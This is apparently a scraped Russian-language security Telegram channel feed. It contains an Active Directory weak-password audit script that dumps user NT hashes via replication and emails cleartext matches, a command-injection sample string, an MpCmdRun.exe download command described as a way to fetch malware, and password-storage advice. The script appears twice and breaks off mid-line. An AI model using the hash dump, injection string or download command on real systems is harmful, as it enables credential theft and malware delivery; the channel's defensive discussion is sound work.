SecuriXy.kz
Photo
WAPT или Тестирование Веб-Приложений на проникновение
Это один из самых сильных курсов за всю историю рунета по теме Web Application Penetration Testing (WAPT) как заявляют нам...
Это один из самых сильных курсов за всю историю рунета по теме Web Application Penetration Testing (WAPT) как заявляют нам...
В рамках повышения осведомленности, ребята сделали очень вместительный и понятный ролик https://www.youtube.com/watch?v=T_iycKFPGEM&feature=youtu.be за что им большое спасибо.
YouTube
Какие бывают виды сетевых атак?
🦸 Курс по кибербезопасности | Пройди бесплатный вводный урок!
https://wiki.merionet.ru/merion-academy/kurs-po-kiberbezopasnosti/?utm_source=YT
Пока ты смотришь этот видос, в интернете идёт настоящая война. Сотни тысяч ботов, сканируют сеть в поисках уязвимых…
https://wiki.merionet.ru/merion-academy/kurs-po-kiberbezopasnosti/?utm_source=YT
Пока ты смотришь этот видос, в интернете идёт настоящая война. Сотни тысяч ботов, сканируют сеть в поисках уязвимых…
{LogWrite -Logfile $LogFileName -LogEntryString "| Empty input line ignored (line#: $cnt_LineNumber)." -LogEntryType INFO -TimeStamp}
Write-Verbose "| Empty input line ignored (line#: $cnt_LineNumber)."
$cnt_LineNumber++
Continue
}
$NTHash = $(Get-NTHashFromClearText $BadPassword)
If ($htBadPasswords.ContainsKey($NTHash)) # NB! Case-insensitive on purpose
{
$intBadPasswordsInListsDuplicates++
If ($bolWriteToLogFile -and $bolWriteVerboseInfoToLogfile) {LogWrite -Logfile $LogFileName -LogEntryString "| Duplicate password: '$BadPassword' = $NTHash" -LogEntryType INFO -TimeStamp}
Write-Verbose "| Duplicate password: '$BadPassword' = $NTHash (line#: $cnt_LineNumber)"
}
Else # New password to put into hash table
{
If ($bolWriteToLogFile -and $bolWriteVerboseInfoToLogfile) {LogWrite -Logfile $LogFileName -LogEntryString "| Adding to hashtable: '$BadPassword' = $NTHash" -LogEntryType INFO -TimeStamp}
Write-Verbose "| Adding to hashtable: '$BadPassword' = $NTHash (line#: $cnt_LineNumber)"
$htBadPasswords.Add($NTHash,$BadPassword)
}
# Counting line numbers
$cnt_LineNumber++
} # Foreach BadPassword
}
}
#Смещение верхней строки
$intBadPasswordsInLists = $htBadPasswords.Count - 1
Add-content -path $Pfile "Name,Username,NTLMPassword"
$arrUsersAndHashes = Get-ADReplAccount -All -Server $DC -NamingContext $Domain | Where {$_.Enabled -eq $true -and $_.SamAccountType -eq 'User' -and $_.DistinguishedName -like $OUsss} | Select SamAccountName,@{Name="NTHashHex";Expression={ConvertTo-Hex $_.NTHash}}
$intUsersAndHashesFromAD = $arrUsersAndHashes.Count
Foreach ($hashuser in $arrUsersAndHashes)
{
$strUserSamAccountName = $hashuser.SamAccountName
$Nametable = Get-ADUser -LDAPFilter "(sAMAccountName=$strUserSamAccountName)" | Select Name
$Name = $Nametable.name
$strUserNTHashHex = $hashuser.NTHashHex
If ($htBadPasswords.ContainsKey($strUserNTHashHex)) # NB! Case-insensitive on purpose
{
$intBadPasswordsFound++
$strUserBadPasswordClearText = $htBadPasswords.Get_Item($strUserNTHashHex)
Add-content $Pfile "$Name,$strUserSamAccountName,$strUserBadPasswordClearText" -Encoding UTF8
}
}
$UsersAll = Import-Csv $Pfile -Encoding UTF8
#Список исключения
$Users = Import-Csv $Pfile -Encoding UTF8 | where-object { $_.Username -NotMatch 'УверенныйАдмин|testuser|СУПЕРБОСС' }
#Мылинг
function SendNotification {
$Msg = New-Object Net.Mail.MailMessage
$Smtp = New-Object Net.Mail.SmtpClient($MailServer)
$Msg.From = $FromAddress
$Msg.To.Add($ToAddress)
$Msg.Subject = "Внимание! $datA Обнаружен слабый пароль!"
$Msg.Body = $EmailBody
$Msg.IsBodyHTML = $true
$Msg.Priority = [System.Net.Mail.MailPriority]::High
$Smtp.Send($Msg)
}
$TOsoc='[email protected]'
$head = "Внимание! $datA Обнаружены слабые пароли на $intBadPasswordsFound из $intUsersAndHashesFromAD :"
$emailBodyTXT = $UsersAll | Sort NTLMPassword,Username | ConvertTo-Html -Head $head | Format-Table -Autosize | Out-String
Send-MailMessage -smtpServer $MailServer -from $FromAddress -to $TOsoc -subject "Внимание! $datA Обнаружены слабые пароли!" -body $emailBodyTXT -BodyAsHTML -Encoding UTF8
Foreach ($User in $Users){
$FIO = $User.name
$ToAddress = "$FIO
Write-Verbose "| Empty input line ignored (line#: $cnt_LineNumber)."
$cnt_LineNumber++
Continue
}
$NTHash = $(Get-NTHashFromClearText $BadPassword)
If ($htBadPasswords.ContainsKey($NTHash)) # NB! Case-insensitive on purpose
{
$intBadPasswordsInListsDuplicates++
If ($bolWriteToLogFile -and $bolWriteVerboseInfoToLogfile) {LogWrite -Logfile $LogFileName -LogEntryString "| Duplicate password: '$BadPassword' = $NTHash" -LogEntryType INFO -TimeStamp}
Write-Verbose "| Duplicate password: '$BadPassword' = $NTHash (line#: $cnt_LineNumber)"
}
Else # New password to put into hash table
{
If ($bolWriteToLogFile -and $bolWriteVerboseInfoToLogfile) {LogWrite -Logfile $LogFileName -LogEntryString "| Adding to hashtable: '$BadPassword' = $NTHash" -LogEntryType INFO -TimeStamp}
Write-Verbose "| Adding to hashtable: '$BadPassword' = $NTHash (line#: $cnt_LineNumber)"
$htBadPasswords.Add($NTHash,$BadPassword)
}
# Counting line numbers
$cnt_LineNumber++
} # Foreach BadPassword
}
}
#Смещение верхней строки
$intBadPasswordsInLists = $htBadPasswords.Count - 1
Add-content -path $Pfile "Name,Username,NTLMPassword"
$arrUsersAndHashes = Get-ADReplAccount -All -Server $DC -NamingContext $Domain | Where {$_.Enabled -eq $true -and $_.SamAccountType -eq 'User' -and $_.DistinguishedName -like $OUsss} | Select SamAccountName,@{Name="NTHashHex";Expression={ConvertTo-Hex $_.NTHash}}
$intUsersAndHashesFromAD = $arrUsersAndHashes.Count
Foreach ($hashuser in $arrUsersAndHashes)
{
$strUserSamAccountName = $hashuser.SamAccountName
$Nametable = Get-ADUser -LDAPFilter "(sAMAccountName=$strUserSamAccountName)" | Select Name
$Name = $Nametable.name
$strUserNTHashHex = $hashuser.NTHashHex
If ($htBadPasswords.ContainsKey($strUserNTHashHex)) # NB! Case-insensitive on purpose
{
$intBadPasswordsFound++
$strUserBadPasswordClearText = $htBadPasswords.Get_Item($strUserNTHashHex)
Add-content $Pfile "$Name,$strUserSamAccountName,$strUserBadPasswordClearText" -Encoding UTF8
}
}
$UsersAll = Import-Csv $Pfile -Encoding UTF8
#Список исключения
$Users = Import-Csv $Pfile -Encoding UTF8 | where-object { $_.Username -NotMatch 'УверенныйАдмин|testuser|СУПЕРБОСС' }
#Мылинг
function SendNotification {
$Msg = New-Object Net.Mail.MailMessage
$Smtp = New-Object Net.Mail.SmtpClient($MailServer)
$Msg.From = $FromAddress
$Msg.To.Add($ToAddress)
$Msg.Subject = "Внимание! $datA Обнаружен слабый пароль!"
$Msg.Body = $EmailBody
$Msg.IsBodyHTML = $true
$Msg.Priority = [System.Net.Mail.MailPriority]::High
$Smtp.Send($Msg)
}
$TOsoc='[email protected]'
$head = "Внимание! $datA Обнаружены слабые пароли на $intBadPasswordsFound из $intUsersAndHashesFromAD :"
$emailBodyTXT = $UsersAll | Sort NTLMPassword,Username | ConvertTo-Html -Head $head | Format-Table -Autosize | Out-String
Send-MailMessage -smtpServer $MailServer -from $FromAddress -to $TOsoc -subject "Внимание! $datA Обнаружены слабые пароли!" -body $emailBodyTXT -BodyAsHTML -Encoding UTF8
Foreach ($User in $Users){
$FIO = $User.name
$ToAddress = "$FIO
https://github.com/WiIs0n/Fuzzer наш знакомый сделал удобный фазер. Попробуйте и если понравиться поддержите товарища.
GitHub
GitHub - WiIs0n/Fuzzer: Program for fuzzing parameters web application
Program for fuzzing parameters web application. Contribute to WiIs0n/Fuzzer development by creating an account on GitHub.
ping ;calc.exe 127.0.0.1/../../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/POWERSHELL.EXE бабайки винду все наковыривают...
SecuriXy.kz
Photo
Zerotier или великолепный инструмент для RedTeam
Удобное средство для удаленной работы с любой точки мира...
Удобное средство для удаленной работы с любой точки мира...
https://m.habr.com/ru/post/511002/ Так что обновляйтесь господа хорошие
Хабр
Обнаружена опаснейшая уязвимость в Windows DNS Server
Исследователи в области кибербезопасности из компании Check Point раскрыли новую критическую уязвимость, которая затрагивает версии Windows Server 2003–2019 с оценкой критичности 10 из 10 по...
Актуальная тема в борьбе ИБ специалистов с разработчиками веб приложений, когда разработчики застряли в цикле: я прав, если я не прав - я всё равно прав.
Forwarded from Кавычка (Sergey Belov)
Один из классических вопросов на собеседование AppSec специалисту - "Как хранить пароли?". И тут будет потрясающим ответ - "пароли хранить не надо, потому что в 2020 мы не должны запускать сервисы с паролями!". За это можно получить хороший плюс. Но если все-таки вернуться к вопросу, то ожидается ответ в духе:
- Давайте использовать Argon2, PBKDF2, Bcrypt, Scrypt с оптимальным количеством раундов
- И харденинг - например использовать HSM (тут долгие холивары в каком режиме), "pepper" и т.д.
Ответы хранить соленный md5/sha1/sha256/sha512 автоматически ставят жирный минус.
Но также есть еще один вопрос, сложный, и ответ на него мало кто знает - *”А как нам хранить пароли так, что если атакующий получит RCE на бэкендах, в т.ч. root привилегии, то не сможет дампнуть табличку с хэшами?”*
Вопрос ставит в тупик, можно начинать придумывать "security through obscurity" решения, но не надо. Есть очень легкий, понятный и технически верный путь, как решить поставленную задачу. Нам нужно отозвать права "select" у бэкенд юзера на таблицу с хэшами и написать 2 хранимых SQL процедуры:
Вернет «соль» пароля на бэкенд по userId, который пытается войти. Бэкенд возьмет введенный юзером пароль и получит хэш с солью из базы
Возвращает true/false на проверке хэша пароля на предыдущем шаге у user_id
Еще нужна процедура на создание пользователя и смену пароля, но они также не позволяет select'нуть хэши паролей пользователей. Хорошая статья по теме(но там не всё): https://www.secjuice.com/secure-password-handling/
Странно, что ни в одном современном решении - типа WordPress или Django это не реализовано. Да и не надо уже, давайте лучше откажемся от паролей!
- Давайте использовать Argon2, PBKDF2, Bcrypt, Scrypt с оптимальным количеством раундов
- И харденинг - например использовать HSM (тут долгие холивары в каком режиме), "pepper" и т.д.
Ответы хранить соленный md5/sha1/sha256/sha512 автоматически ставят жирный минус.
Но также есть еще один вопрос, сложный, и ответ на него мало кто знает - *”А как нам хранить пароли так, что если атакующий получит RCE на бэкендах, в т.ч. root привилегии, то не сможет дампнуть табличку с хэшами?”*
Вопрос ставит в тупик, можно начинать придумывать "security through obscurity" решения, но не надо. Есть очень легкий, понятный и технически верный путь, как решить поставленную задачу. Нам нужно отозвать права "select" у бэкенд юзера на таблицу с хэшами и написать 2 хранимых SQL процедуры:
getSalt(user_id)
Вернет «соль» пароля на бэкенд по userId, который пытается войти. Бэкенд возьмет введенный юзером пароль и получит хэш с солью из базы
checkPassword(user_id, hashed_password)
Возвращает true/false на проверке хэша пароля на предыдущем шаге у user_id
Еще нужна процедура на создание пользователя и смену пароля, но они также не позволяет select'нуть хэши паролей пользователей. Хорошая статья по теме(но там не всё): https://www.secjuice.com/secure-password-handling/
Странно, что ни в одном современном решении - типа WordPress или Django это не реализовано. Да и не надо уже, давайте лучше откажемся от паролей!
MpCmdRun.exe -DownloadFile -url [ссылка] -path [путь_к_файлу]
Источник: https://www.anti-malware.ru/news/2020-09-03-1447/33576
Источник: https://www.anti-malware.ru/news/2020-09-03-1447/33576
Anti-Malware
Microsoft Defender можно использовать для загрузки вредоносов в Windows
Недавнее обновление встроенного в Windows 10 антивируса Microsoft Defender позволяет загружать на компьютер вредоносные программы и другие файлы.
Наглядный пример того, как Microsoft скрывает все что связано со спец символом $ Так что будьте внимательны используя bat,cmd,vbs скрипты для поиска локальных администраторов. Чем опасно? представьте себе Windows Core без GUI. Скоро Мы выложим статью по верной автоматизации таких процессов в Доменной сети...